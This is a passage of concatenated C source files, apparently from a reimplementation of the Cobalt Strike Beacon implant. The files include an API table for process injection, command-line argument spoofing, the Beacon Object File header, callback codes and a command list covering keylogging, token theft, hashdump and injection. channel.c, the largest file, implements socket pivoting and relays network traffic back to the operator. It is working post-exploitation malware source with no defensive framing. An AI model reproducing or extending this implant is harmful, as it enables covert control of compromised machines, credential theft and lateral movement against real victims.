return currentFunction;
}
// Check if we found an empty slot for a new function
if (potentialFuncLocation == NULL && *currentFunction == NULL)
{
// Store the current slot as a potential location for the new function
potentialFuncLocation = currentFunction;
}
}
// If no empty slot was found, return NULL
if (potentialFuncLocation == NULL)
{
return NULL;
}
// Add the new function to the found empty slot
*potentialFuncLocation = newFunction;
// Function added, return its pointer
return potentialFuncLocation;
}
================================================
FILE: Beacon/api.h
================================================
#pragma once
#include "beacon.h"
#define MAX_DYNAMIC_FUNCTIONS 32
typedef struct _bapi
{
HMODULE (*fnLoadLibraryA)(LPCSTR lpLibFileName);
BOOL (*fnFreeLibrary)(HMODULE hLibModule);
FARPROC (*fnGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
HMODULE (*fnGetModuleHandleA)(LPCSTR lpModuleName);
void (*fnBeaconDataParse)(datap* parser, char* buffer, int size);
char*(*fnBeaconDataPtr)(datap* parser, int size);
int (*fnBeaconDataInt)(datap* parser);
short (*fnBeaconDataShort)(datap* parser);
int (*fnBeaconDataLength)(datap* parser);
char*(*fnBeaconDataExtract)(datap* parser, int* size);
void (*fnBeaconFormatAlloc)(formatp* format, int maxsz);
void (*fnBeaconFormatReset)(formatp* format);
void (*fnBeaconFormatPrintf)(formatp* format, char* fmt, ...);
void (*fnBeaconFormatAppend)(formatp* format, char* text, int len);
void (*fnBeaconFormatFree)(formatp* format);
char*(*fnBeaconFormatToString)(formatp* format, int* size);
void (*fnBeaconFormatInt)(formatp* format, int value);
void (*fnBeaconOutput)(int type, char* data, int len);
void (*fnBeaconPrintf)(int type, char* fmt, ...);
void (*fnBeaconErrorD)(int type, int d1);
void (*fnBeaconErrorDD)(int type, int d1, int d2);
void (*fnBeaconErrorNA)(int type);
BOOL (*fnBeaconUseToken)(HANDLE token);
BOOL (*fnBeaconIsAdmin)();
void (*fnBeaconRevertToken)();
void (*fnBeaconGetSpawnTo)(BOOL x86, char* buffer, int length);
void (*fnBeaconCleanupProcess)(PROCESS_INFORMATION* pInfo);
void (*fnBeaconInjectProcess)(HANDLE hProcess, int pid, char* payload, int p_len, int p_offset, char* arg,
int a_len);
BOOL (*fnBeaconSpawnTemporaryProcess)(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pInfo);
void (*fnBeaconInjectTemporaryProcess)(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset,
char* arg, int a_len);
BOOL (*fnToWideChar)(char* src, wchar_t* dst, int max);
PROC dynamicFns[MAX_DYNAMIC_FUNCTIONS];
} bapi;
void BeaconAPI(bapi* beaconApi);
PROC* FindOrAddDynamicFunction(bapi* api, PROC newFunction);
================================================
FILE: Beacon/argument.c
================================================
#include "pch.h"
#include "argument.h"
#include "beacon.h"
#include "utils.h"
typedef struct _ARGUMENT_ENTRY
{
BOOL isActive;
const char expandedCmd[8192];
const char expandedFullCmd[8192];
struct _ARGUMENT_ENTRY* next;
} ARGUMENT_ENTRY;
ARGUMENT_ENTRY* gArguments = NULL;
BOOL ArgumentFindMatch(EXPANDED_CMD* extendedCmd, const char* cmd)
{
for (const ARGUMENT_ENTRY* current = gArguments; current != NULL; current = current->next)
{
if (current->isActive && strstr(cmd, current->expandedCmd) == cmd)
{
*extendedCmd = (EXPANDED_CMD) { current->expandedFullCmd, current->expandedCmd };
return TRUE;
}
}
return FALSE;
}
ARGUMENT_ENTRY* ArgumentFindOrCreate(char* expanded)
{
for (ARGUMENT_ENTRY* current = gArguments; current != NULL; current = current->next)
{
if (!current->isActive && strcmp(expanded, current->expandedCmd) == 0)
return current;
}
ARGUMENT_ENTRY* current = gArguments;
while(current && current->isActive)
current = current->next;
ARGUMENT_ENTRY* argument;
if (!current)
{
// Create a new entry for the new argument
argument = (ARGUMENT_ENTRY*)malloc(sizeof(ARGUMENT_ENTRY));
*argument = (ARGUMENT_ENTRY){ .isActive = FALSE, .expandedCmd = NULL, .expandedFullCmd = NULL, .next = current };
gArguments = argument;
} else
{
// Reuse this entry for the new argument
argument = current;
}
return argument;
}
void ArgumentAdd(char* buffer, int length)
{
#define MAX_ORIGINAL 0x2000
#define MAX_EXPANDED 0x2000
#define MAX_EXPANDED_FULL 0x2000
datap* locals = BeaconDataAlloc(MAX_ORIGINAL + MAX_EXPANDED + MAX_EXPANDED_FULL);
char* original = BeaconDataPtr(locals, MAX_ORIGINAL);
char* expanded = BeaconDataPtr(locals, MAX_EXPANDED);
char* expandedFull = BeaconDataPtr(locals, MAX_EXPANDED_FULL);
datap parser;
BeaconDataParse(&parser, buffer, length);
BeaconDataStringCopySafe(&parser, original, MAX_ORIGINAL);
ExpandEnvironmentStrings_s(original, expanded, MAX_EXPANDED);
BeaconDataStringCopySafe(&parser, expandedFull, MAX_EXPANDED_FULL);
ARGUMENT_ENTRY* argument = ArgumentFindOrCreate(expanded);
argument->isActive = TRUE;
ExpandEnvironmentStrings_s(original, argument->expandedCmd, MAX_EXPANDED);
ExpandEnvironmentStrings_s(expandedFull, argument->expandedFullCmd, MAX_EXPANDED_FULL);
BeaconDataFree(locals);
}
void ArgumentRemove(char* buffer, int length)
{
char* expanded = malloc(MAX_EXPANDED);
buffer[length] = '\0';
ExpandEnvironmentStrings_s(buffer, expanded, MAX_EXPANDED);
// For each active argument
for (ARGUMENT_ENTRY* current = gArguments; current != NULL; current = current->next)
{
if (current->isActive && strcmp(expanded, current->expandedCmd) == 0)
{
current->isActive = FALSE;
*current = (ARGUMENT_ENTRY){ .isActive = FALSE, .expandedCmd = NULL, .expandedFullCmd = NULL, .next = current->next };
break;
}
}
free(expanded);
}
void ArgumentList()
{
formatp format;
BeaconFormatAlloc(&format, 0x8000);
for (ARGUMENT_ENTRY* current = gArguments; current != NULL; current = current->next)
{
if (current->isActive)
{
BeaconFormatPrintf(&format, "%s\n", current->expandedFullCmd);
}
}
int size = BeaconDataLength(&format);
char* buffer = BeaconDataOriginal(&format);
BeaconOutput(CALLBACK_OUTPUT, buffer, size);
BeaconFormatFree(&format);
}
================================================
FILE: Beacon/argument.h
================================================
#pragma once
typedef struct _EXPANDED_CMD
{
char* fullCmd;
char* cmd;
} EXPANDED_CMD;
BOOL ArgumentFindMatch(EXPANDED_CMD* extendedCmd, const char* cmd);
void ArgumentAdd(char* buffer, int length);
void ArgumentRemove(char* buffer, int length);
void ArgumentList();
================================================
FILE: Beacon/beacon.c
================================================
#include "pch.h"
#include "beacon.h"
#include "settings.h"
================================================
FILE: Beacon/beacon.h
================================================
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
* 7/18/2023: Added BeaconInformation API for 4.9
* 7/31/2023: Added Key/Value store APIs for 4.9
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
* 8/31/2023: Added Data store APIs for 4.9
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
*/
#pragma once
#include "pch.h"
typedef struct
{
char* buffer;
int size;
} sizedbuf;
/* data API - unpacks data */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
datap* BeaconDataAlloc(int size);
void BeaconDataFree(datap * parser);
void BeaconDataParse(datap * parser, char * buffer, int size);
char * BeaconDataPtr(datap * parser, int size);
int BeaconDataInt(datap * parser);
short BeaconDataShort(datap * parser);
char BeaconDataByte(datap * parser);
char * BeaconDataStringPointer(datap * parser);
char * BeaconDataStringPointerCopy(datap * parser, int size);
int BeaconDataStringCopySafe(datap * parser, char * buffer, int size);
int BeaconDataStringCopy(datap* parser, char* buffer, int size);
char* BeaconDataOriginal(datap* parser);
char* BeaconDataBuffer(datap* parser);
int BeaconDataLength(datap * parser);
char* BeaconDataLengthAndString(datap * parser, sizedbuf* sb);
char * BeaconDataExtract(datap * parser, int * size);
void BeaconDataZero(datap * parser);
/* format API - packs data */
typedef datap formatp;
void BeaconFormatAlloc(formatp * format, int maxsz);
void BeaconFormatUse(formatp * format, char * buffer, int size);
void BeaconFormatReset(formatp * format);
void BeaconFormatAppend(formatp * format, char * text, int len);
void BeaconFormatPrintf(formatp * format, char * fmt, ...);
void BeaconFormatFree(formatp * format);
void BeaconFormatInt(formatp * format, int value);
void BeaconFormatShort(formatp * format, short value);
void BeaconFormatChar(formatp * format, char value);
char* BeaconFormatOriginal(formatp* format);
char* BeaconFormatBuffer(formatp* format);
int BeaconFormatLength(formatp* format);
/* once you're done with the format... */
char * BeaconFormatToString(formatp * format, int * size);
/* Output Functions */
#include "callback.h"
void BeaconOutput(int type, char * data, int len);
void BeaconPrintf(int type, char * fmt, ...);
void BeaconErrorD(int type, int d1);
void BeaconErrorDD(int type, int d1, int d2);
void BeaconErrorNA(int type);
void BeaconErrorS(int type, char * s1);
void BeaconErrorDS(int type, int d1, char * s1);
void BeaconErrorDDS(int type, int d1, int d2, char* s1);
void BeaconErrorPrintf(int type, char * fmt, ...);
/* Token Functions */
BOOL BeaconUseToken(HANDLE token);
void BeaconRevertToken(void);
BOOL BeaconIsAdmin(void);
/* Spawn+Inject Functions */
void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
void BeaconInjectProcess(HANDLE hProcess, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
BOOL toWideChar(char * src, wchar_t * dst, int max);
/* Beacon Information */
/*
* ptr - pointer to the base address of the allocated memory.
* size - the number of bytes allocated for the ptr.
*/
typedef struct {
char * ptr;
size_t size;
} HEAP_RECORD;
#define MASK_SIZE 13
/*
* sleep_mask_ptr - pointer to the sleep mask base address
* sleep_mask_text_size - the sleep mask text section size
* sleep_mask_total_size - the sleep mask total memory size
*
* beacon_ptr - pointer to beacon's base address
* The stage.obfuscate flag affects this value when using CS default loader.
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
* false: beacon_ptr = allocated_buffer (A valid address)
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
* sections - list of memory sections beacon wants to mask. These are offset values
* from the beacon_ptr and the start value is aligned on 0x1000 boundary.
* A section is denoted by a pair indicating the start and end offset values.
* The list is terminated by the start and end offset values of 0 and 0.
* heap_records - list of memory addresses on the heap beacon wants to mask.
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
* mask - the mask that beacon randomly generated to apply
*/
typedef struct {
char * sleep_mask_ptr;
DWORD sleep_mask_text_size;
DWORD sleep_mask_total_size;
char * beacon_ptr;
DWORD * sections;
HEAP_RECORD * heap_records;
char mask[MASK_SIZE];
} BEACON_INFO;
void BeaconInformation(BEACON_INFO * info);
/* Key/Value store functions
* These functions are used to associate a key to a memory address and save
* that information into beacon. These memory addresses can then be
* retrieved in a subsequent execution of a BOF.
*
* key - the key will be converted to a hash which is used to locate the
* memory address.
*
* ptr - a memory address to save.
*
* Considerations:
* - The contents at the memory address is not masked by beacon.
* - The contents at the memory address is not released by beacon.
*
*/
BOOL BeaconAddValue(const char * key, void * ptr);
void * BeaconGetValue(const char * key);
BOOL BeaconRemoveValue(const char * key);
/* Beacon Data Store functions
* These functions are used to access items in Beacon's Data Store.
* BeaconDataStoreGetItem returns NULL if the index does not exist.
*
* The contents are masked by default, and BOFs must unprotect the entry
* before accessing the data buffer. BOFs must also protect the entry
* after the data is not used anymore.
*
*/
#define DATA_STORE_TYPE_EMPTY 0
#define DATA_STORE_TYPE_GENERAL_FILE 1
typedef struct {
int type;
DWORD64 hash;
BOOL masked;
char* buffer;
size_t length;
} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
void BeaconDataStoreProtectItem(size_t index);
void BeaconDataStoreUnprotectItem(size_t index);
size_t BeaconDataStoreMaxEntries();
/* Beacon User Data functions */
char * BeaconGetCustomUserData();
================================================
FILE: Beacon/callback.h
================================================
#pragma once
#define CALLBACK_OUTPUT 0
#define CALLBACK_KEYSTROKES 1
#define CALLBACK_FILE 2
#define CALLBACK_SCREENSHOT 3
#define CALLBACK_CLOSE 4
#define CALLBACK_READ 5
#define CALLBACK_CONNECT 6
#define CALLBACK_PING 7
#define CALLBACK_FILE_WRITE 8
#define CALLBACK_FILE_CLOSE 9
#define CALLBACK_PIPE_OPEN 10
#define CALLBACK_PIPE_CLOSE 11
#define CALLBACK_PIPE_READ 12
#define CALLBACK_POST_ERROR 13
#define CALLBACK_PIPE_PING 14
#define CALLBACK_TOKEN_STOLEN 15
#define CALLBACK_TOKEN_GETUID 16
#define CALLBACK_PROCESS_LIST 17
#define CALLBACK_POST_REPLAY_ERROR 18
#define CALLBACK_PWD 19
#define CALLBACK_JOBS 20
#define CALLBACK_HASHDUMP 21
#define CALLBACK_PENDING 22
#define CALLBACK_ACCEPT 23
#define CALLBACK_NETVIEW 24
#define CALLBACK_PORTSCAN 25
#define CALLBACK_DEAD 26
#define CALLBACK_SSH_STATUS 27
#define CALLBACK_CHUNK_ALLOCATE 28
#define CALLBACK_CHUNK_SEND 29
#define CALLBACK_OUTPUT_OEM 30
#define CALLBACK_ERROR 31
#define CALLBACK_OUTPUT_UTF8 32
================================================
FILE: Beacon/channel.c
================================================
#include "pch.h"
#include "channel.h"
#include "beacon.h"
#include "link.h"
#include "network.h"
#include "protocol.h"
typedef struct CHANNEL_ENTRY
{
int id;
int state;
int timeoutPeriod;
int lastActive;
int type;
int port;
int creationTime;
SOCKET socket;
struct CHANNEL_ENTRY* next;
} CHANNEL_ENTRY;
CHANNEL_ENTRY* gChannels;
char* gChannelBuffer;
int gChannelIdCount = 0;
#define CHANNEL_STATE_0 0
#define CHANNEL_STATE_1 1
#define CHANNEL_STATE_2 2
#define CHANNEL_STATE_3 3
#define CHANNEL_TYPE_CONNECT 0
#define CHANNEL_TYPE_LISTEN 1
#define CHANNEL_TYPE_BIND 2
#define CHANNEL_TYPE_TCP_PIVOT 3
BOOL ChannelIsBindValid(short port)
{
for (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)
{
if (channel->state && channel->type == CHANNEL_TYPE_BIND && channel->port == port)
{
return TRUE;
}
}
return FALSE;
}
SOCKET ChannelSocketCreateAndBind(const int addr, const short port, const int backlog)
{
NetworkInit();
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_HOPOPTS);
if(sock == INVALID_SOCKET)
{
return INVALID_SOCKET;
}
struct sockaddr_in sockaddr;
sockaddr.sin_family = AF_INET;
sockaddr.sin_addr.s_addr = addr;
sockaddr.sin_port = htons(port);
int argp = 1; // 1 = non-blocking
if(ioctlsocket(sock, FIONBIO, &argp) == SOCKET_ERROR
|| bind(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == SOCKET_ERROR
|| listen(sock, backlog) == SOCKET_ERROR)
{
closesocket(sock);
return INVALID_SOCKET;
}
return sock;
}
void ChannelAdd(SOCKET socket, int id, int timeoutPeriod, int type, int port, int state)
{
CHANNEL_ENTRY* newChannel = malloc(sizeof(CHANNEL_ENTRY));
*newChannel = (CHANNEL_ENTRY){
.id = id,
.socket = (HANDLE)socket,
.state = state,
.lastActive = 0,
.creationTime = GetTickCount(),
.timeoutPeriod = timeoutPeriod,
.port = port,
.type = type,
.next = gChannels
};
for (CHANNEL_ENTRY* ch = gChannels; ch; ch = (CHANNEL_ENTRY*)ch->next)
if (ch->id == id)
ch->state = CHANNEL_STATE_0;
gChannels = newChannel;
}
long long ChannelGetId()
{
return 0x4000000 + gChannelIdCount++ % 0x4000000;
}
void ChannelLSocketBind(char* buffer, int length, int ipAddress)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
short port = BeaconDataShort(&parser);
SOCKET sock = ChannelSocketCreateAndBind(ipAddress, port, 10);
if (sock == INVALID_SOCKET)
{
LERROR("Could not bind to %d", port);
BeaconErrorD(ERROR_SOCKET_CREATE_BIND_FAILED, port);
return;
}
int newId = ChannelGetId();
ChannelAdd(sock, newId, 0, CHANNEL_TYPE_BIND, port, CHANNEL_STATE_2);
}
void ChannelLSocketTcpPivot(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
short port = BeaconDataShort(&parser);
SOCKET sock = ChannelSocketCreateAndBind(INADDR_ANY, port, 10);
if (sock == INVALID_SOCKET)
{
LERROR("Could not bind to %d", port);
BeaconErrorD(ERROR_SOCKET_CREATE_BIND_FAILED, port);
return;
}
int newId = ChannelGetId();
ChannelAdd(sock, newId, 0, CHANNEL_TYPE_TCP_PIVOT, port, CHANNEL_STATE_2);
}
void ChannelListen(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int id = BeaconDataInt(&parser);
short port = BeaconDataShort(&parser);
SOCKET sock = ChannelSocketCreateAndBind(INADDR_ANY, port, 1);
if (sock == INVALID_SOCKET)
{
BeaconOutput(CALLBACK_CLOSE, buffer, sizeof(id));
return;
}
ChannelAdd(sock, id, 180000, CHANNEL_TYPE_LISTEN, port, CHANNEL_STATE_2);
}
void ChannelConnect(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int channelId = BeaconDataInt(&parser);
short port = BeaconDataShort(&parser);
int bufferSize = BeaconDataLength(&parser);
bufferSize = min(bufferSize, 1024 - 1);
char* b = BeaconDataBuffer(&parser);
memcpy(buffer, b, bufferSize);
buffer[bufferSize] = 0;
NetworkInit();
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_HOPOPTS);
if (sock == INVALID_SOCKET)
goto close;
HOSTENT* lHostent = gethostbyname(buffer);
if (!lHostent)
goto close;
struct sockaddr_in sockaddr;
memcpy(&sockaddr.sin_addr, lHostent->h_addr, lHostent->h_length);
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htons(port);
int argp = 1; // 1 = non-blocking
if (ioctlsocket(sock, FIONBIO, &argp) == SOCKET_ERROR)
goto close;
if (connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == SOCKET_ERROR)
if (WSAGetLastError() != WSAEWOULDBLOCK)
goto close;
ChannelAdd(sock, channelId, 30000, CHANNEL_TYPE_CONNECT, 0, CHANNEL_STATE_2);
return;
close:
closesocket(sock);
BeaconOutput(CALLBACK_CLOSE, buffer, sizeof(channelId));
}
void ChannelClose(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int channelId = BeaconDataInt(&parser);
for (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)
{
if(channel->state != CHANNEL_STATE_0 &&
channel->id == channelId &&
channel->type != CHANNEL_TYPE_BIND)
{
channel->state = CHANNEL_STATE_0;
}
}
}
void ChannelSend(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int channelId = BeaconDataInt(&parser);
for (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)
{
if (channel->state == CHANNEL_STATE_1 && channel->id == channelId)
{
length = BeaconDataLength(&parser);
buffer = BeaconDataBuffer(&parser);
fd_set exceptfds;
fd_set writefds;
int timeout = GetTickCount() + 30000;
struct timeval lTimeval = { 0, 100 };
while (GetTickCount() < timeout)
{
FD_ZERO(&writefds);
FD_ZERO(&exceptfds);
FD_SET((SOCKET)channel->socket, &writefds);
FD_SET((SOCKET)channel->socket, &exceptfds);
select(0, NULL, &writefds, &exceptfds, &lTimeval);
if (FD_ISSET((SOCKET)channel->socket, &exceptfds))
break;
if (FD_ISSET((SOCKET)channel->socket, &writefds))
{
int sent = send((SOCKET)channel->socket, buffer, length, 0);
if (sent != SOCKET_ERROR)
break;
if (WSAGetLastError() != WSAEWOULDBLOCK)
break;
Sleep(1000);
}
}
}
}
}
void ChannelLSocketClose(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
short port = BeaconDataShort(&parser);
for (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)
{
if (channel->state != CHANNEL_STATE_0 && channel->port == port)
if (channel->type == CHANNEL_TYPE_BIND || channel->type == CHANNEL_TYPE_TCP_PIVOT)
channel->state = CHANNEL_STATE_0;
}
}
int ChannelReceiveDataInternal(SOCKET socket, char* buffer, int length)
{
int total = 0;
while (total < length)
{
int received = recv(socket, buffer + total, length - total, 0);
buffer += received;
total += received;
if (received == SOCKET_ERROR)
{
shutdown(socket, SD_BOTH);
closesocket(socket);
return SOCKET_ERROR;
}
}
return total;
}
int ChannelReceiveData()
{
#define CHANNEL_BUFFER_SIZE 0x100000
if(!gChannelBuffer)
gChannelBuffer = malloc(CHANNEL_BUFFER_SIZE);
if(!gChannels)
return 0;
int size = 0;
int numProcessedChannels = 0;
for(CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)
{
if(channel->state != CHANNEL_STATE_1)
continue;
*(int*)gChannelBuffer = htonl(channel->id);
int ioctlresult = ioctlsocket((SOCKET)channel->socket, FIONREAD, &size);
size = min(size, CHANNEL_BUFFER_SIZE - sizeof(int));
if(ioctlresult == SOCKET_ERROR)
goto callback_close;
if (size)
{
int totalReceived = ChannelReceiveDataInternal((SOCKET)channel->socket,
gChannelBuffer + sizeof(int), size);
if (totalReceived == SOCKET_ERROR)
goto callback_close;
if (totalReceived == size)
{
BeaconOutput(CALLBACK_READ, gChannelBuffer, size + sizeof(int));
numProcessedChannels++;
}
}
continue;
callback_close:
channel->state = CHANNEL_STATE_0;
BeaconOutput(CALLBACK_CLOSE, gChannelBuffer, sizeof(int));
}
return numProcessedChannels;
}
void ChannelRemoveAllInactive()
{
CHANNEL_ENTRY* prev = NULL;
for (CHANNEL_ENTRY* channel = gChannels; channel; channel = prev->next)
{
if (!channel->state)
{
if (channel->lastActive != 0)
{
if (GetTickCount() - channel->lastActive > 1000)
{
if (channel->type == CHANNEL_TYPE_CONNECT)
{
shutdown((SOCKET)channel->socket, SD_BOTH);
}
if (!closesocket((SOCKET)channel->socket) || channel->type != CHANNEL_TYPE_BIND)
{
if (prev == NULL)
{
gChannels = channel->next;
free(channel);
return;
}
prev->next = channel->next;
free(channel);
continue;
}
}
}
else
{
channel->lastActive = GetTickCount();
}
}
notClosed:
prev = channel;
}
}
void ChannelHandleActivity()
{
fd_set writefds;
fd_set exceptfds;
fd_set readfds;
int channelId = 0;
struct timeval timeout = { 0, 100 };
for (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)
{
if (channel->state != CHANNEL_STATE_2)
continue;
channelId = htonl(channel->id);
FD_ZERO(&writefds);
FD_ZERO(&exceptfds);
FD_ZERO(&readfds);
FD_SET((SOCKET)channel->socket, &writefds);
FD_SET((SOCKET)channel->socket, &exceptfds);
FD_SET((SOCKET)channel->socket, &readfds);
select(0, &readfds, &writefds, &exceptfds, &timeout);
SOCKET sock = (SOCKET)channel->socket;
if (channel->type == CHANNEL_TYPE_BIND)
{
if (FD_ISSET(sock, &readfds))
{
sock = accept(channel->socket, NULL, NULL);
int argp = 1; // 1 = non-blocking
if (ioctlsocket(sock, FIONBIO, &argp) == SOCKET_ERROR)
{
closesocket(sock);
return;
}
channelId = ChannelGetId();
ChannelAdd(sock, channelId, 180000, CHANNEL_TYPE_CONNECT, 0, CHANNEL_STATE_1);
formatp locals;
BeaconFormatAlloc(&locals, 128);
BeaconFormatInt(&locals, channelId);
BeaconFormatInt(&locals, channel->port);
int cbLength = BeaconFormatLength(&locals);
char* cbData = BeaconFormatOriginal(&locals);
BeaconOutput(CALLBACK_ACCEPT, cbData, cbLength);
BeaconFormatFree(&locals);
}
} else
{
if (channel->type == CHANNEL_TYPE_TCP_PIVOT)
{
if (FD_ISSET(sock, &readfds))
{
sock = accept(channel->socket, NULL, NULL);
PROTOCOL protocol;
ProtocolTcpInit(&protocol, sock);
LinkAdd(&protocol, channel->port | HINT_PROTO_TCP | HINT_REVERSE);
}
} else
{
int type;
if (FD_ISSET(sock, &exceptfds))
{
channel->state = CHANNEL_STATE_0;
type = CALLBACK_CLOSE;
}
else if (FD_ISSET(sock, &writefds))
{
channel->state = CHANNEL_STATE_1;
type = CALLBACK_CONNECT;
}
else if (FD_ISSET(sock, &readfds))
{
sock = accept(channel->socket, NULL, NULL);
channel->socket = sock;
if (socket == INVALID_HANDLE_VALUE)
{
channel->state = CHANNEL_STATE_0;
type = CALLBACK_CLOSE;
}
else
{
channel->state = CHANNEL_STATE_1;
type = CALLBACK_CONNECT;
}
closesocket(sock);
}
else if (GetTickCount() - channel->creationTime > channel->timeoutPeriod)
{
channel->state = CHANNEL_STATE_0;
type = CALLBACK_CLOSE;
}
BeaconOutput(type, &channelId, sizeof(channelId));
}
}
}
}
void ChannelHandleAll(void)
{
ChannelHandleActivity();
DWORD timeout = GetTickCount() + 3500;
while (ChannelReceiveData() > 0 && GetTickCount() < timeout) {}
ChannelRemoveAllInactive();
}
================================================
FILE: Beacon/channel.h
================================================
#pragma once
void ChannelListen(char* buffer, int length);
void ChannelLSocketTcpPivot(char* buffer, int length);
void ChannelLSocketClose(char* buffer, int length);
void ChannelLSocketBind(char* buffer, int length, int ipAddress);
void ChannelConnect(char* buffer, int length);
void ChannelClose(char* buffer, int length);
void ChannelSend(char* buffer, int length);
================================================
FILE: Beacon/command.h
================================================
#pragma once
#define COMMAND_SPAWN 1
#define COMMAND_SHELL 2
#define COMMAND_DIE 3
#define COMMAND_SLEEP 4
#define COMMAND_CD 5
#define COMMAND_KEYLOG_START 6
#define COMMAND_NOOP 6
#define COMMAND_KEYLOG_STOP 7
#define COMMAND_CHECKIN 8
#define COMMAND_INJECT_PID 9
#define COMMAND_UPLOAD 10
#define COMMAND_DOWNLOAD 11
#define COMMAND_EXECUTE 12
#define COMMAND_SPAWN_PROC_X86 13
#define COMMAND_CONNECT 14
#define COMMAND_SEND 15
#define COMMAND_CLOSE 16
#define COMMAND_LISTEN 17
#define COMMAND_INJECT_PING 18
#define COMMAND_CANCEL_DOWNLOAD 19
#define COMMAND_PIPE_ROUTE 22
#define COMMAND_PIPE_CLOSE 23
#define COMMAND_PIPE_REOPEN 24
#define COMMAND_TOKEN_GETUID 27
#define COMMAND_TOKEN_REV2SELF 28
#define COMMAND_TIMESTOMP 29
#define COMMAND_STEAL_TOKEN 31
#define COMMAND_PS_LIST 32
#define COMMAND_PS_KILL 33
#define COMMAND_PSH_IMPORT 37
#define COMMAND_RUNAS 38
#define COMMAND_PWD 39
#define COMMAND_JOB_REGISTER 40
#define COMMAND_JOBS 41
#define COMMAND_JOB_KILL 42
#define COMMAND_INJECTX64_PID 43
#define COMMAND_SPAWNX64 44
#define COMMAND_INJECT_PID_PING 45
#define COMMAND_INJECTX64_PID_PING 46
#define COMMAND_PAUSE 47
#define COMMAND_LOGINUSER 49
#define COMMAND_LSOCKET_BIND 50
#define COMMAND_LSOCKET_CLOSE 51
#define COMMAND_STAGE_PAYLOAD 52
#define COMMAND_FILE_LIST 53
#define COMMAND_FILE_MKDIR 54
#define COMMAND_FILE_DRIVES 55
#define COMMAND_FILE_RM 56
#define COMMAND_STAGE_PAYLOAD_SMB 57
#define COMMAND_WEBSERVER_LOCAL 59
#define COMMAND_ELEVATE_PRE 60
#define COMMAND_ELEVATE_POST 61
#define COMMAND_JOB_REGISTER_IMPERSONATE 62
#define COMMAND_SPAWN_POWERSHELLX86 63
#define COMMAND_SPAWN_POWERSHELLX64 64
#define COMMAND_INJECT_POWERSHELLX86_PID 65
#define COMMAND_INJECT_POWERSHELLX64_PID 66
#define COMMAND_UPLOAD_CONTINUE 67
#define COMMAND_PIPE_OPEN_EXPLICIT 68
#define COMMAND_SPAWN_PROC_X64 69
#define COMMAND_JOB_SPAWN_X86 70
#define COMMAND_JOB_SPAWN_X64 71
#define COMMAND_SETENV 72
#define COMMAND_FILE_COPY 73
#define COMMAND_FILE_MOVE 74
#define COMMAND_PPID 75
#define COMMAND_RUN_UNDER_PID 76
#define COMMAND_GETPRIVS 77
#define COMMAND_EXECUTE_JOB 78
#define COMMAND_PSH_HOST_TCP 79
#define COMMAND_DLL_LOAD 80
#define COMMAND_REG_QUERY 81
#define COMMAND_LSOCKET_TCPPIVOT 82
#define COMMAND_ARGUE_ADD 83
#define COMMAND_ARGUE_REMOVE 84
#define COMMAND_ARGUE_LIST 85
#define COMMAND_TCP_CONNECT 86
#define COMMAND_JOB_SPAWN_TOKEN_X86 87
#define COMMAND_JOB_SPAWN_TOKEN_X64 88
#define COMMAND_SPAWN_TOKEN_X86 89
#define COMMAND_SPAWN_TOKEN_X64 90
#define COMMAND_INJECTX64_PING 91
#define COMMAND_BLOCKDLLS 92
#define COMMAND_SPAWNAS_X86 93
#define COMMAND_SPAWNAS_X64 94
#define COMMAND_INLINE_EXECUTE 95
#define COMMAND_RUN_INJECT_X86 96
#define COMMAND_RUN_INJECT_X64 97
#define COMMAND_SPAWNU_X86 98
#define COMMAND_SPAWNU_X64 99
#define COMMAND_INLINE_EXECUTE_OBJECT 100
#define COMMAND_JOB_REGISTER_MSGMODE 101
#define COMMAND_LSOCKET_BIND_LOCALHOST 102
================================================
FILE: Beacon/crypto.c
================================================
#include "pch.h"
#include "crypto.h"
int gHashSha256;
int gAesCipher;
char gCbcKey[16];
char gHmacKey[16];
char gIv[16];
symmetric_key gRijndaelSymkey;
symmetric_CBC gEncryptCbc;
